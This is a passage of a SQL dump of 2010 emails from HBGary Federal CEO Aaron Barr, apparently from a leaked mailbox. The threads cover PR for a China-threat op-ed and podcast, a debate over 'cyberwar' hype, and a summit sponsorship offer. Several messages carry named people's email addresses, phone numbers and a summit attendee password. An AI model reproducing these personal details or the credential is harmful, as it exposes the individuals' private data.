PM.\r\n>>\r\n>> Can you provide a one paragraph bio to include in the meeting\r\n>> announcement?\r\n>>\r\n>> Thanks.\r\n>>\r\n>> Tim.\r\n>>\r\n>> Tim Estell -- estellt@saic.com\r\n>> 443-367-7558 (Office) 443-562-2039 (Cell)\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n',11603,'aaron_hbgary_com/11603.html'),(4796,'2010-03-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003091.M700365P3547Q4796.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>','Re: The Growing China Threat','I&#39;ll work on it.  Do I need to schedule some time next week for the interview you mentioned or are we good?AaronFrom my iPhoneOn Mar 29, 2010, at 12:06 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\nHi Aaron, This is very good content. Would you be interested in putting together a quick oped piece on the topic? It would have to be vendor-neutral. SC Magazine publishes online opinion pieces -- word count is around 300 words. NY Times is another possibility -- they look for around 750-word pieces. If you are interested in pursuing NYT, here is a link to their oped submission requirements http://www.nytimes.com/ref/membercenter/help/opedsubmit.html \r\n--- On Fri, 3/26/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: The Growing China ThreatTo: &quot;Greg Hoglund&quot; &lt;greg@hbgary.com&gt;, &quot;Penny Leavy&quot; &lt;penny@hbgary.com&gt;\r\nCc: &quot;Karen Burke&quot; &lt;karenmaryburke@yahoo.com&gt;, &quot;Ted Vera&quot; &lt;ted@hbgary.com&gt;, &quot;Rich Cummings&quot; &lt;rich@hbgary.com&gt;, &quot;Bob Slapnik&quot; &lt;bob@hbgary.com&gt;\r\nDate: Friday, March 26, 2010, 5:55 PM\r\nThis has been quite a week.  Google, Dell, and Godaddy announce they are moving out of China.  The military is continuing to drum the beat of a growing chinese threat.  Today a &quot;DNS&quot; error in a root DNS server in China cause it&#39;s filtering technology to spread overseas redirecting and blocking parts of the web.\r\nIf things continue in this vein, APT will come to mean only one thing, the Chinese Threat, as most other threats will take backstage.The government is an interesting animal, and in most cases, despite its size it really only is capable of focusing on a few things at once.  The wars certainly take up a good portion of the attention and for the last decade the Middle East in general was the focus.  If the Chinese threat continues to escalate on the national conscious a significant amount of resources will be dedicated to repelling this threat.  The biggest increase in budgets will be\r\n seen on the offensive side, which typically are dwarfed by the defensive budgets but will see the biggest percentage swings in times of crisis.I believe we are at a tipping point in aggressive defensive and offensive positioning.  What do we need to do to be ready?\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n      \r\n',13453,'aaron_hbgary_com/13453.html'),(4797,'2010-03-30','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297003092.M29809P3547Q4797.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: The Growing China Threat','Hi Aaron, Great. I am waiting to hear back from Tom to confirm specific date/time -- I got back to him this morning with your availability.&nbsp;Also, I wanted to talk to you about the first Podcast on APT. I scheduled it for April 19th and would like a few weeks to promote it. Penny said you are working on the guest for the podcast. Do you think we\'ll have the guest confirmed this week? I can help you finalize topic details if you need me. I\'d like to get a description about the podcasat&nbsp;on the HBGary Website so I can tweet about it by next Monday if possible.&nbsp;&nbsp;--- On Mon, 3/29/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: The Growing China ThreatTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Monday, March 29, 2010, 4:43 PM\r\n\r\nI\'ll work on it. &nbsp;Do I need to schedule some time next week for the interview you mentioned or are we good?\r\n\r\nAaronFrom my iPhone\r\nOn Mar 29, 2010, at 12:06 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, This is very good content. Would you be interested in putting together a quick oped piece on the topic? It would have to be vendor-neutral. SC Magazine publishes online opinion pieces -- word count is around 300 words.&nbsp;NY Times is another possibility -- they look for around 750-word pieces. If you are interested in pursuing NYT, here is a link to their oped submission requirements&nbsp;http://www.nytimes.com/ref/membercenter/help/opedsubmit.html&nbsp;--- On Fri, 3/26/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: The Growing China ThreatTo: \"Greg Hoglund\" &lt;greg@hbgary.com&gt;, \"Penny Leavy\" &lt;penny@hbgary.com&gt;Cc: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;, \"Ted Vera\" &lt;ted@hbgary.com&gt;, \"Rich Cummings\" &lt;rich@hbgary.com&gt;, \"Bob Slapnik\" &lt;bob@hbgary.com&gt;Date: Friday, March 26, 2010, 5:55 PM\r\nThis has been quite a week.&nbsp; Google, Dell, and Godaddy announce they are moving out of China.&nbsp; The military is continuing to drum the beat of a growing chinese threat.&nbsp; Today a \"DNS\" error in a root DNS server in China cause it\'s filtering technology to spread overseas redirecting and blocking parts of the web.If things continue in this vein, APT will come to mean only one thing, the Chinese Threat, as most other threats will take backstage.The government is an interesting animal, and in most cases, despite its size it really only is capable of focusing on a few things at once.&nbsp; The wars certainly take up a good portion of the attention and for the last decade the Middle East in general was the focus.&nbsp; If the Chinese threat continues to escalate on the national conscious a significant amount of resources will be dedicated to repelling this threat.&nbsp; The biggest increase in budgets will be\r\n seen on the offensive side, which typically are dwarfed by the defensive budgets but will see the biggest percentage swings in times of crisis.I believe we are at a tipping point in aggressive defensive and offensive positioning.&nbsp; What do we need to do to be ready?Aaron BarrCEOHBGary Federal Inc.\r\n\r\n',14137,'aaron_hbgary_com/14137.html');
INSERT INTO `emails` VALUES (4798,'2010-03-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003092.M312465P3547Q4798.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>','Re: The Growing China Threat','Ok can you send me a brief summary of the agenda, goals, format?Thanks,AaronFrom my iPhoneOn Mar 29, 2010, at 9:01 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\nHi Aaron, Great. I am waiting to hear back from Tom to confirm specific date/time -- I got back to him this morning with your availability. Also, I wanted to talk to you about the first Podcast on APT. I scheduled it for April 19th and would like a few weeks to promote it. Penny said you are working on the guest for the podcast. Do you think we&#39;ll have the guest confirmed this week? I can help you finalize topic details if you need me. I&#39;d like to get a description about the podcasat on the HBGary Website so I can tweet about it by next Monday if possible.  \r\n--- On Mon, 3/29/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: The Growing China Threat\r\nTo: &quot;Karen Burke&quot; &lt;karenmaryburke@yahoo.com&gt;Date: Monday, March 29, 2010, 4:43 PM\r\n\r\nI&#39;ll work on it.  Do I need to schedule some time next week for the interview you mentioned or are we good?\r\n\r\nAaronFrom my iPhone\r\nOn Mar 29, 2010, at 12:06 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, This is very good content. Would you be interested in putting together a quick oped piece on the topic? It would have to be vendor-neutral. SC Magazine publishes online opinion pieces -- word count is around 300 words. NY Times is another possibility -- they look for around 750-word pieces. If you are interested in pursuing NYT, here is a link to their oped submission requirements http://www.nytimes.com/ref/membercenter/help/opedsubmit.html \r\n--- On Fri, 3/26/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nSubject: The Growing China ThreatTo: &quot;Greg Hoglund&quot; &lt;greg@hbgary.com&gt;, &quot;Penny Leavy&quot; &lt;penny@hbgary.com&gt;\r\nCc: &quot;Karen Burke&quot; &lt;karenmaryburke@yahoo.com&gt;, &quot;Ted Vera&quot; &lt;ted@hbgary.com&gt;, &quot;Rich Cummings&quot; &lt;rich@hbgary.com&gt;, &quot;Bob Slapnik&quot; &lt;bob@hbgary.com&gt;\r\nDate: Friday, March 26, 2010, 5:55 PM\r\nThis has been quite a week.  Google, Dell, and Godaddy announce they are moving out of China.  The military is continuing to drum the beat of a growing chinese threat.  Today a &quot;DNS&quot; error in a root DNS server in China cause it&#39;s filtering technology to spread overseas redirecting and blocking parts of the web.\r\nIf things continue in this vein, APT will come to mean only one thing, the Chinese Threat, as most other threats will take backstage.The government is an interesting animal, and in most cases, despite its size it really only is capable of focusing on a few things at once.  The wars certainly take up a good portion of the attention and for the last decade the Middle East in general was the focus.  If the Chinese threat continues to escalate on the national conscious a significant amount of resources will be dedicated to repelling this threat.  The biggest increase in budgets will be\r\n seen on the offensive side, which typically are dwarfed by the defensive budgets but will see the biggest percentage swings in times of crisis.I believe we are at a tipping point in aggressive defensive and offensive positioning.  What do we need to do to be ready?\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n      \r\n',14547,'aaron_hbgary_com/14547.html'),(4799,'2010-03-30','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297003092.M532500P3547Q4799.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: The Growing China Threat','Sure -- please see attached draft that I sent to Penny. We can certainly tweak topics as you see fit.&nbsp; I welcome your feedback!&nbsp;I imagine it two people per podcast -- easier for listener to follow. --- On Mon, 3/29/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: The Growing China ThreatTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Monday, March 29, 2010, 6:09 PM\r\n\r\nOk can you send me a brief summary of the agenda, goals, format?\r\n\r\nThanks,\r\nAaronFrom my iPhone\r\nOn Mar 29, 2010, at 9:01 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, Great. I am waiting to hear back from Tom to confirm specific date/time -- I got back to him this morning with your availability.&nbsp;Also, I wanted to talk to you about the first Podcast on APT. I scheduled it for April 19th and would like a few weeks to promote it. Penny said you are working on the guest for the podcast. Do you think we\'ll have the guest confirmed this week? I can help you finalize topic details if you need me. I\'d like to get a description about the podcasat&nbsp;on the HBGary Website so I can tweet about it by next Monday if possible.&nbsp;&nbsp;--- On Mon, 3/29/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: The Growing China ThreatTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Monday, March 29, 2010, 4:43 PM\r\n\r\nI\'ll work on it. &nbsp;Do I need to schedule some time next week for the interview you mentioned or are we good?\r\n\r\nAaronFrom my iPhone\r\nOn Mar 29, 2010, at 12:06 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, This is very good content. Would you be interested in putting together a quick oped piece on the topic? It would have to be vendor-neutral. SC Magazine publishes online opinion pieces -- word count is around 300 words.&nbsp;NY Times is another possibility -- they look for around 750-word pieces. If you are interested in pursuing NYT, here is a link to their oped submission requirements&nbsp;http://www.nytimes.com/ref/membercenter/help/opedsubmit.html&nbsp;--- On Fri, 3/26/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: The Growing China ThreatTo: \"Greg Hoglund\" &lt;greg@hbgary.com&gt;, \"Penny Leavy\" &lt;penny@hbgary.com&gt;Cc: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;, \"Ted Vera\" &lt;ted@hbgary.com&gt;, \"Rich Cummings\" &lt;rich@hbgary.com&gt;, \"Bob Slapnik\" &lt;bob@hbgary.com&gt;Date: Friday, March 26, 2010, 5:55 PM\r\nThis has been quite a week.&nbsp; Google, Dell, and Godaddy announce they are moving out of China.&nbsp; The military is continuing to drum the beat of a growing chinese threat.&nbsp; Today a \"DNS\" error in a root DNS server in China cause it\'s filtering technology to spread overseas redirecting and blocking parts of the web.If things continue in this vein, APT will come to mean only one thing, the Chinese Threat, as most other threats will take backstage.The government is an interesting animal, and in most cases, despite its size it really only is capable of focusing on a few things at once.&nbsp; The wars certainly take up a good portion of the attention and for the last decade the Middle East in general was the focus.&nbsp; If the Chinese threat continues to escalate on the national conscious a significant amount of resources will be dedicated to repelling this threat.&nbsp; The biggest increase in budgets will be\r\n seen on the offensive side, which typically are dwarfed by the defensive budgets but will see the biggest percentage swings in times of crisis.I believe we are at a tipping point in aggressive defensive and offensive positioning.&nbsp; What do we need to do to be ready?Aaron BarrCEOHBGary Federal Inc.\r\n\r\n',8186,'aaron_hbgary_com/8186.html'),(4800,'2010-03-30','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297003092.M741041P3547Q4800.eml','greg@hbgary.com,aaron@hbgary.com,penny@hbgary.com','Re: Check the Hype -- There\'s No Such Thing As \"Cyber\"','Marcus Ranum published an opinion piece today in US News on similar topic -- misuse of the word \"cyberwar\"attack.html.html&nbsp;http://www.usnews.com/opinion/articles/2010/03/29/cyberwar-rhetoric-is-scarier-than-threat-of-foreign-attack.html--- On Mon, 3/29/10, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\nFrom: Karen Burke &lt;karenmaryburke@yahoo.com&gt;Subject: Check the Hype -- There\'s No Such Thing As \"Cyber\"To: greg@hbgary.com, aaron@hbgary.com, penny@hbgary.comDate: Monday, March 29, 2010, 8:38 AM\r\n\r\n\r\n\r\n\r\n\r\nThis Wired piece discusses how media/security vendors i.e. Netwitness are using \"cyber\" and \"Cyberwar\"&nbsp;for fearmongering to win&nbsp;business&nbsp;\r\n&nbsp;\r\nhttp://www.wired.com/threatlevel/2010/03/cyber-hype/\r\n\r\n',11090,'aaron_hbgary_com/11090.html'),(4801,'2010-03-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003092.M962743P3547Q4801.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>,\"Karen Burke\" <karenmaryburke@yahoo.com>,','Re: Check the Hype -- There\'s No Such Thing As \"Cyber\"','All of these articles represent one thing. &nbsp;These folks have an understanding of technology and have no understanding of foreign diplomacy or national security.War is about control, and securing our ability to prosper. &nbsp;To secure our ability while denying our adversaries, etc.The government has and is still using cyber as the means to describe this environment. &nbsp;I went through meetings with government folks just under a year ago discussing whether to call it \"cyber security\" or \"cybersecurity\". &nbsp;What was determined was the new word is \"cybersecurity\".War is not necessarily about bombs, or taking anyone down. &nbsp;It is about supremacy, much like the Cold War, where not a single bomb dropped. &nbsp;Choose whatever phrase or term you want. &nbsp;A cyberwar is being waged to steal our intellectual property, our secrets, to provide someone with advantage, whether in the market place, or in political dialogue.War is about control, and over our cyber systems right now we have none. &nbsp;We have been the dominant power on the planet for half a century and right now we feel helpless to shadow army. &nbsp;This scares the shit out of the government. &nbsp;We have no capacity, no mechanisms to handle cyber threats. &nbsp;If we are attacked how do we respond?Make no mistake, the crisis is very real and very destabilizing but for reasons most technologists do not understand. &nbsp;Unfortunately most of the folks that understand the politics have no idea about the technology. &nbsp;Part of the reason we are in this mess.All that is to say, there is a lot of fear mongering going on for sure, and technology companies that have no idea about the threats effects are still using it to sell products.Karen, I see the piece I need to write, and its going to be critical of both sides, and supportive of both sides of this issue.AaronOn Mar 29, 2010, at 11:26 PM, Karen Burke wrote:Marcus Ranum published an opinion piece today in US News on similar topic -- misuse of the word \"cyberwar\"attack.html.html&nbsp;http://www.usnews.com/opinion/articles/2010/03/29/cyberwar-rhetoric-is-scarier-than-threat-of-foreign-attack.html--- On Mon, 3/29/10, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\nFrom: Karen Burke &lt;karenmaryburke@yahoo.com&gt;Subject: Check the Hype -- There\'s No Such Thing As \"Cyber\"To: greg@hbgary.com, aaron@hbgary.com, penny@hbgary.comDate: Monday, March 29, 2010, 8:38 AM\r\n\r\n\r\n\r\n\r\n\r\nThis Wired piece discusses how media/security vendors i.e. Netwitness are using \"cyber\" and \"Cyberwar\"&nbsp;for fearmongering to win&nbsp;business&nbsp;\r\n&nbsp;\r\nhttp://www.wired.com/threatlevel/2010/03/cyber-hype/\r\n\r\n      \r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',14403,'aaron_hbgary_com/14403.html'),(4802,'2010-03-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003093.M150191P3547Q4802.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>,\"Karen Burke\" <karenmaryburke@yahoo.com>,','Re: Check the Hype -- There\'s No Such Thing As \"Cyber\"','No one speaks like that anymore? &nbsp;Look at the CNCI, Consolidated National Cybersecurity Initiative. &nbsp;This is the doctrine that is guiding our national policy on cyber. &nbsp;Or CSIs report briefed in front of congress called, \"Cybersecurity recommendations for the 44th presidency\".As I mentioned. &nbsp;The \"Cyber\" element (I am going to use the term because that is the term the government likes to use, best to speak to them in their language) creates an immense vulnerability that we are not equipped at all to deal with, to defend. &nbsp;And at this point the Internet is critical to national security, yet we can\'t control it or secure it. &nbsp;That creates a huge problem.The threat is real. &nbsp;Our weakness and helplessness to the threat is real. &nbsp;How people exploit it to sell products is real.So how do we distinguish ourselves. &nbsp;We don\'t want to play down the threats but we don\'t want to play them up either. &nbsp;I think our message needs to be one of sophistication, which is a tougher message than its all terrible, or everything is fine.AaronOn Mar 29, 2010, at 11:26 PM, Karen Burke wrote:Marcus Ranum published an opinion piece today in US News on similar topic -- misuse of the word \"cyberwar\"attack.html.html&nbsp;http://www.usnews.com/opinion/articles/2010/03/29/cyberwar-rhetoric-is-scarier-than-threat-of-foreign-attack.html--- On Mon, 3/29/10, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\nFrom: Karen Burke &lt;karenmaryburke@yahoo.com&gt;Subject: Check the Hype -- There\'s No Such Thing As \"Cyber\"To: greg@hbgary.com, aaron@hbgary.com, penny@hbgary.comDate: Monday, March 29, 2010, 8:38 AM\r\n\r\n\r\n\r\n\r\n\r\nThis Wired piece discusses how media/security vendors i.e. Netwitness are using \"cyber\" and \"Cyberwar\"&nbsp;for fearmongering to win&nbsp;business&nbsp;\r\n&nbsp;\r\nhttp://www.wired.com/threatlevel/2010/03/cyber-hype/\r\n\r\n      \r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11458,'aaron_hbgary_com/11458.html'),(4803,'2010-03-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003097.M968039P3547Q4803.eml','\"Aaron Barr\" <adbarr@mac.com>','files','',16855,'aaron_hbgary_com/16855.html'),(4804,'2010-03-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003099.M397105P3547Q4804.eml','\"Alex Olson\" <aolson@gdsnewyork.com>','Re: Alex Olson_Government CIO (as per our converstion)','Alex,Still haven&#39;t caught up with penny.  I know she is on travel so maybe just busy.  I&#39;ll send you a note when I reach her.\r\nThanks for your patience,AaronFrom my iPhoneOn Mar 29, 2010, at 2:05 PM, Alex Olson &lt;aolson@gdsnewyork.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n\r\nAaron,\r\n\r\n \r\n\r\nBelow\r\nare HBGary Federal’s packages at reduced costing.  Speak with you at 4:30 pm\r\nest\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSummit Website:                  \r\nwww.governmentciosummit2010.com                              attendees\r\npassword:     567ciog \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nBelow\r\nis HBGary Federal proposals as discussed:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nSilver\r\nSponsorship \r\n\r\n \r\n\r\n2 executives to attend for the full duration of\r\nthe summit 16 predetermined, 40-minute business meetings\r\n\r\nBranding\r\nthroughout all meetings, lunch, roundtable and workshops\r\n\r\nSingle\r\npage advertisement in Summit Guide\r\n\r\nFull\r\nnetworking access to the entire Delegation for duration of the Summit\r\n\r\nInvitation\r\nto gala dinners and keynote speeches\r\n\r\nOption\r\nto host whitepaper on Summit website\r\n\r\nAccess\r\nto all interactive workshops, roundtable discussions\r\n\r\nExecutive\r\naccommodation, drinks and dining\r\n\r\nCorporate\r\nsignage through-out the summit\r\n\r\nPre\r\nand post event marketing\r\n\r\nCompany\r\nlogo to feature online as silver sponsor\r\n\r\nCompany\r\nand Delegate Profile to feature in Summit Guide\r\n\r\nPost\r\nevent follow up with delegates\r\n\r\n \r\n\r\nInvoiced\r\n50% 30 days after confirming participation, 50% 45 days before the summit \r\n\r\n \r\n\r\nTOTAL REDUCED COST (APPROVED DISCOUNT BEN RIGGLE GM, NA)  $30,000\r\nUSD\r\n\r\n \r\n\r\nTarget\r\nSponsorship \r\n\r\n \r\n\r\nUp to one executive to attend for the full duration of the\r\nsummit\r\n\r\n8 predetermined, 40-minute business meetings\r\n\r\nFull networking access to the entire Delegation for duration of\r\nthe Summit\r\n\r\nInvitation to gala dinners and keynote speeches\r\n\r\nOption to host whitepaper on Summit website\r\n\r\nAccess to all interactive workshops, roundtable discussions\r\n\r\nExecutive accommodation, drinks and dining\r\n\r\nCorporate signage through-out the summit\r\n\r\nPre and post event marketing\r\n\r\nCompany logo to feature online as sponsor\r\n\r\nCompany and Delegate Profile to feature in Summit Guide\r\n\r\nPost event follow up with delegates\r\n\r\n \r\n\r\nInvoiced\r\n50% 30 days after confirming participation, 50% 45 days before the summit \r\n\r\n \r\n\r\nTOTAL REDUCED COST (APPROVED DISCOUNT BEN RIGGLE GM, NA)  $25,000\r\nUSD\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI look\r\nforward to speaking with you at 4:30 EST, hopefully welcoming you HBGary Federal\r\nonboard.\r\n\r\n \r\n\r\nKind\r\nregards,\r\n\r\n \r\n\r\nAlex\r\nOlson\r\n\r\nDirector\r\nCIO GOV.\r\n\r\n  \r\n                     \r\n                     \r\n                   \r\n\r\nCIO\r\nGovernment US\r\n\r\n40 Wall Street, 5th Floor\r\n\r\nNew\r\nYork, NY 10005\r\n\r\nMobile:\r\n203.512.4162\r\n\r\nOffice:\r\n212.920.8181 x 521\r\n\r\naolson@gdsnewyork.com\r\n\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4024,'aaron_hbgary_com/4024.html'),(4805,'2010-03-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003099.M596971P3547Q4805.eml','\"Alex Olson\" <aolson@gdsnewyork.com>','Re: Alex Olson_Government CIO (as per our converstion)','Sorry just saw I missed your call.From my iPhoneOn Mar 29, 2010, at 2:05 PM, Alex Olson &lt;aolson@gdsnewyork.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n\r\nAaron,\r\n\r\n \r\n\r\nBelow\r\nare HBGary Federal’s packages at reduced costing.  Speak with you at 4:30 pm\r\nest\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSummit Website:                  \r\nwww.governmentciosummit2010.com                              attendees\r\npassword:     567ciog \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nBelow\r\nis HBGary Federal proposals as discussed:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nSilver\r\nSponsorship \r\n\r\n \r\n\r\n2 executives to attend for the full duration of\r\nthe summit 16 predetermined, 40-minute business meetings\r\n\r\nBranding\r\nthroughout all meetings, lunch, roundtable and workshops\r\n\r\nSingle\r\npage advertisement in Summit Guide\r\n\r\nFull\r\nnetworking access to the entire Delegation for duration of the Summit\r\n\r\nInvitation\r\nto gala dinners and keynote speeches\r\n\r\nOption\r\nto host whitepaper on Summit website\r\n\r\nAccess\r\nto all interactive workshops, roundtable discussions\r\n\r\nExecutive\r\naccommodation, drinks and dining\r\n\r\nCorporate\r\nsignage through-out the summit\r\n\r\nPre\r\nand post event marketing\r\n\r\nCompany\r\nlogo to feature online as silver sponsor\r\n\r\nCompany\r\nand Delegate Profile to feature in Summit Guide\r\n\r\nPost\r\nevent follow up with delegates\r\n\r\n \r\n\r\nInvoiced\r\n50% 30 days after confirming participation, 50% 45 days before the summit \r\n\r\n \r\n\r\nTOTAL REDUCED COST (APPROVED DISCOUNT BEN RIGGLE GM, NA)  $30,000\r\nUSD\r\n\r\n \r\n\r\nTarget\r\nSponsorship \r\n\r\n \r\n\r\nUp to one executive to attend for the full duration of the\r\nsummit\r\n\r\n8 predetermined, 40-minute business meetings\r\n\r\nFull networking access to the entire Delegation for duration of\r\nthe Summit\r\n\r\nInvitation to gala dinners and keynote speeches\r\n\r\nOption to host whitepaper on Summit website\r\n\r\nAccess to all interactive workshops, roundtable discussions\r\n\r\nExecutive accommodation, drinks and dining\r\n\r\nCorporate signage through-out the summit\r\n\r\nPre and post event marketing\r\n\r\nCompany logo to feature online as sponsor\r\n\r\nCompany and Delegate Profile to feature in Summit Guide\r\n\r\nPost event follow up with delegates\r\n\r\n \r\n\r\nInvoiced\r\n50% 30 days after confirming participation, 50% 45 days before the summit \r\n\r\n \r\n\r\nTOTAL REDUCED COST (APPROVED DISCOUNT BEN RIGGLE GM, NA)  $25,000\r\nUSD\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI look\r\nforward to speaking with you at 4:30 EST, hopefully welcoming you HBGary Federal\r\nonboard.\r\n\r\n \r\n\r\nKind\r\nregards,\r\n\r\n \r\n\r\nAlex\r\nOlson\r\n\r\nDirector\r\nCIO GOV.\r\n\r\n  \r\n                     \r\n                     \r\n                   \r\n\r\nCIO\r\nGovernment US\r\n\r\n40 Wall Street, 5th Floor\r\n\r\nNew\r\nYork, NY 10005\r\n\r\nMobile:\r\n203.512.4162\r\n\r\nOffice:\r\n212.920.8181 x 521\r\n\r\naolson@gdsnewyork.com\r\n\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3985,'aaron_hbgary_com/3985.html'),(4806,'2010-03-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003099.M793695P3547Q4806.eml','\"Penny Leavy\" <penny@hbgary.com>','Fwd: Alex Olson_Government CIO (as per our converstion)','This guy keeps calling me.  I told him o needed to talk to you.  Can you give me a call so I can give this guy am answer.Thanks,Aaron\r\nFrom my iPhoneBegin forwarded message:From: &quot;Alex Olson&quot; &lt;aolson@gdsnewyork.com&gt;Date: March 29, 2010 2:05:40 PM EDT\r\nTo: &lt;aaron@hbgary.com&gt;Cc: &lt;penny@hbgary.com&gt;Subject: Alex Olson_Government CIO (as per our converstion)\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n\r\nAaron,\r\n\r\n \r\n\r\nBelow\r\nare HBGary Federal’s packages at reduced costing.  Speak with you at 4:30 pm\r\nest\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSummit Website:                  \r\nwww.governmentciosummit2010.com                              attendees\r\npassword:     567ciog \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nBelow\r\nis HBGary Federal proposals as discussed:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nSilver\r\nSponsorship \r\n\r\n \r\n\r\n2 executives to attend for the full duration of\r\nthe summit 16 predetermined, 40-minute business meetings\r\n\r\nBranding\r\nthroughout all meetings, lunch, roundtable and workshops\r\n\r\nSingle\r\npage advertisement in Summit Guide\r\n\r\nFull\r\nnetworking access to the entire Delegation for duration of the Summit\r\n\r\nInvitation\r\nto gala dinners and keynote speeches\r\n\r\nOption\r\nto host whitepaper on Summit website\r\n\r\nAccess\r\nto all interactive workshops, roundtable discussions\r\n\r\nExecutive\r\naccommodation, drinks and dining\r\n\r\nCorporate\r\nsignage through-out the summit\r\n\r\nPre\r\nand post event marketing\r\n\r\nCompany\r\nlogo to feature online as silver sponsor\r\n\r\nCompany\r\nand Delegate Profile to feature in Summit Guide\r\n\r\nPost\r\nevent follow up with delegates\r\n\r\n \r\n\r\nInvoiced\r\n50% 30 days after confirming participation, 50% 45 days before the summit \r\n\r\n \r\n\r\nTOTAL REDUCED COST (APPROVED DISCOUNT BEN RIGGLE GM, NA)  $30,000\r\nUSD\r\n\r\n \r\n\r\nTarget\r\nSponsorship \r\n\r\n \r\n\r\nUp to one executive to attend for the full duration of the\r\nsummit\r\n\r\n8 predetermined, 40-minute business meetings\r\n\r\nFull networking access to the entire Delegation for duration of\r\nthe Summit\r\n\r\nInvitation to gala dinners and keynote speeches\r\n\r\nOption to host whitepaper on Summit website\r\n\r\nAccess to all interactive workshops, roundtable discussions\r\n\r\nExecutive accommodation, drinks and dining\r\n\r\nCorporate signage through-out the summit\r\n\r\nPre and post event marketing\r\n\r\nCompany logo to feature online as sponsor\r\n\r\nCompany and Delegate Profile to feature in Summit Guide\r\n\r\nPost event follow up with delegates\r\n\r\n \r\n\r\nInvoiced\r\n50% 30 days after confirming participation, 50% 45 days before the summit \r\n\r\n \r\n\r\nTOTAL REDUCED COST (APPROVED DISCOUNT BEN RIGGLE GM, NA)  $25,000\r\nUSD\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI look\r\nforward to speaking with you at 4:30 EST, hopefully welcoming you HBGary Federal\r\nonboard.\r\n\r\n \r\n\r\nKind\r\nregards,\r\n\r\n \r\n\r\nAlex\r\nOlson\r\n\r\nDirector\r\nCIO GOV.\r\n\r\n  \r\n                     \r\n                     \r\n                   \r\n\r\nCIO\r\nGovernment US\r\n\r\n40 Wall Street, 